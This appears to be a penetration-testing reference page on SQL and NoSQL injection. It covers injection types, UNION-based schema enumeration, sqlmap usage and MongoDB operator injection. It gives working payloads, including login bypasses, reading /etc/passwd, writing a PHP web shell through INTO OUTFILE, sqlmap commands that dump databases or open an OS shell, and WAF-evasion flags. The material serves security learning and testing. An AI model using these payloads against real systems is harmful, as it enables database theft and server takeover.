> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# SQL Injection

SQL injection happens when user input gets concatenated straight into a database query instead of being treated as data. The impact ranges from reading data you shouldn't to full remote code execution, depending on the database engine and how the application is configured. It splits into three main types, and two of those split further into subtypes based on exactly how you extract data.

![SQL Injection types and subtypes](https://mintcdn.com/0xdev/Jc18SK5zgPtnecsc/images/techniques/sql-injection/sql-injection-types.png?fit=max\&auto=format\&n=Jc18SK5zgPtnecsc\&q=85\&s=b05d1c86fe1cd43c6df45c1f25adc746)

> **In-Band**
>
> The result of your injected query shows up directly in the response. Splits into **error-based**, where database error messages leak data, and **union-based**, using `UNION SELECT` to pull data into the page's normal output. Fast to exploit once confirmed.

> **Blind**
>
> Nothing comes back directly, so you infer data indirectly. Splits into **boolean-based**, reading true/false differences in the response, and **time-based**, reading delays like `SLEEP()` instead.

> [!NOTE]
>
> **Out-of-band** is the third, much rarer type: data gets exfiltrated through a completely separate channel, usually DNS or HTTP requests the database server makes on its own. It only works when the database can actually reach outside the network and in-band or blind methods are blocked or too slow.

> [!TIP]
>
> Comment syntax ends the original query early so the rest of it gets ignored: `--`, `#`, and `/**/` are the three you'll use constantly, with a trailing space often required after `--` for it to register as a comment.

***

## Confirming the Injection

Before building out a full UNION chain, confirm injection actually exists and figure out what's running behind it.

```sql theme={null}
admin' or '1'='1
```

```sql theme={null}
admin'--
admin')--
```

These two test the same thing in different quoting contexts: if the login bypasses or the query behaves differently, the input isn't being sanitized. A time delay is one of the most reliable confirmations since it works even when the page gives no visible feedback at all:

```sql theme={null}
SELECT SLEEP(5)
```

```sql theme={null}
SELECT @@version
```

If the response changes or includes version info, you've got a confirmed, visible injection point to build on.

***

## Union-Based Injection

UNION injection appends your own query to the original and returns its result inline with the page's normal output. It only works once the column count and data types line up with the original query.

Find the column count by incrementing until the query errors out:

```sql theme={null}
' order by 1-- -
cn' UNION select 1,2,3,4-- -
```

Once the count lines up, swap in real data one column at a time:

```sql theme={null}
cn' UNION select 1,@@version,3,4-- -
```

From there, pulling the actual schema is mostly a matter of querying `INFORMATION_SCHEMA` through the same injection point:

```sql theme={null}
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -
```

> **File read/write and webshells via injection**
>
> Depending on database privileges, UNION injection can go beyond reading tables.
>
> ```sql theme={null}
> cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- -
> ```
>
> ```sql theme={null}
> cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- -
> ```
>
> > [!WARNING]
> >
> > `INTO OUTFILE` needs `FILE` privilege and a web-writable path, which is uncommon in a hardened setup but still worth checking, especially on older or misconfigured MySQL instances.

***

## SQLMap

Manual injection is worth understanding, but sqlmap automates the actual extraction once you've confirmed a parameter is injectable. It's usually the faster path from "this looks vulnerable" to a full data dump.

```bash theme={null}
sqlmap -u "http://example.com/vuln.php?id=1" --batch          # GET parameter, --batch skips interactive prompts
sqlmap 'http://example.com/' --data 'uid=1&name=test' --dump    # POST data, dump results immediately
sqlmap -r request.txt --dump                                     # feed sqlmap a raw HTTP request file instead
```

Once a parameter is confirmed injectable, these pull the actual data:

```bash theme={null}
sqlmap -u "http://example.com/?id=1" --schema              # enumerate the full database schema
sqlmap -u "http://example.com/?id=1" -D DBNAME --dump        # dump everything in a specific database
sqlmap -u "http://example.com/?id=1" --dump -D master -T users   # dump a single table
```

> [!TIP]
>
> `--level` and `--risk` (both 1-5 and 1-3 respectively) control how thorough and aggressive sqlmap's tests are. The defaults miss plenty of real injection points, bumping both up is often what turns a false negative into a confirmed finding.

For getting beyond data extraction into file access or a shell:

```bash theme={null}
sqlmap -u "http://example.com/?id=1" --file-read "/etc/passwd"
sqlmap -u "http://example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"
sqlmap -u "http://example.com/?id=1" --os-shell
```

> **More sqlmap flags**
>
> ```bash theme={null}
> sqlmap -u "URL" --random-agent         # rotate user-agent, helps against basic filtering
> sqlmap -u "URL" --tamper=between       # apply a tamper script to help evade a WAF
> sqlmap -u "URL" --is-dba                # check if the current db user has admin rights
> sqlmap -u "URL" --privileges            # list current user's database privileges
> sqlmap -u "URL" --search -T user        # search table names containing "user"
> sqlmap -u "URL" --search -C pass        # search column names containing "pass"
> sqlmap -u "URL" -v 3                    # increase verbosity (1-6)
> sqlmap -u "URL" -t traffic.txt          # log all traffic sqlmap sends to a file
> ```
>
> WebSocket endpoints need the connection confirmed separately before sqlmap can target them:
>
> ```bash theme={null}
> wscat -c ws://TARGET:PORT/ws
> sqlmap -u 'ws://TARGET/' --data '{"id": "*"}' --batch
> ```

***

## NoSQL Injection

Document databases like MongoDB don't use SQL syntax, but the same core problem applies: unsanitized input lets an attacker change the logic of the query itself, usually by injecting query operators instead of string payloads.

| Operator | Meaning |
| - | - |
| `$ne` | not equal |
| `$eq` | equal |
| `$gt` / `$lt` | greater than / less than |
| `$nin` | not in |
| `$regex` | regular expression match |

The classic case is an auth bypass, where `$ne` makes the condition true for any value other than the expected one:

```text theme={null}
username[$ne]=admin&password[$ne]=admin
```

A blind regex injection can extract data character by character when the field reflects true/false, similar in spirit to blind SQL injection:

```text theme={null}
username[$regex]=^a
```

> [!NOTE]
>
> [NoSQL Injection payloads (PayloadsAllTheThings)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) has a much deeper payload list for both MongoDB and other NoSQL engines.

***

## Quick Reference Tools

> **[SQL Injection Techniques](https://hackviser.com/tactics/pentesting/web/sql-injection)**
>
> Overview of injection techniques across different database engines.

> **[SQL Injection Payload List](https://github.com/payload-box/sql-injection-payload-list)**
>
> Ready-to-use payloads for manual testing.

> **[PayloadsAllTheThings: SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)**
>
> Deep, engine-specific reference covering MySQL, MSSQL, PostgreSQL, and more.

> [!WARNING]
>
> Destructive queries, file writes, and `--os-shell` can modify or damage the target application. Stick to read-only enumeration until impact is explicitly in scope.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.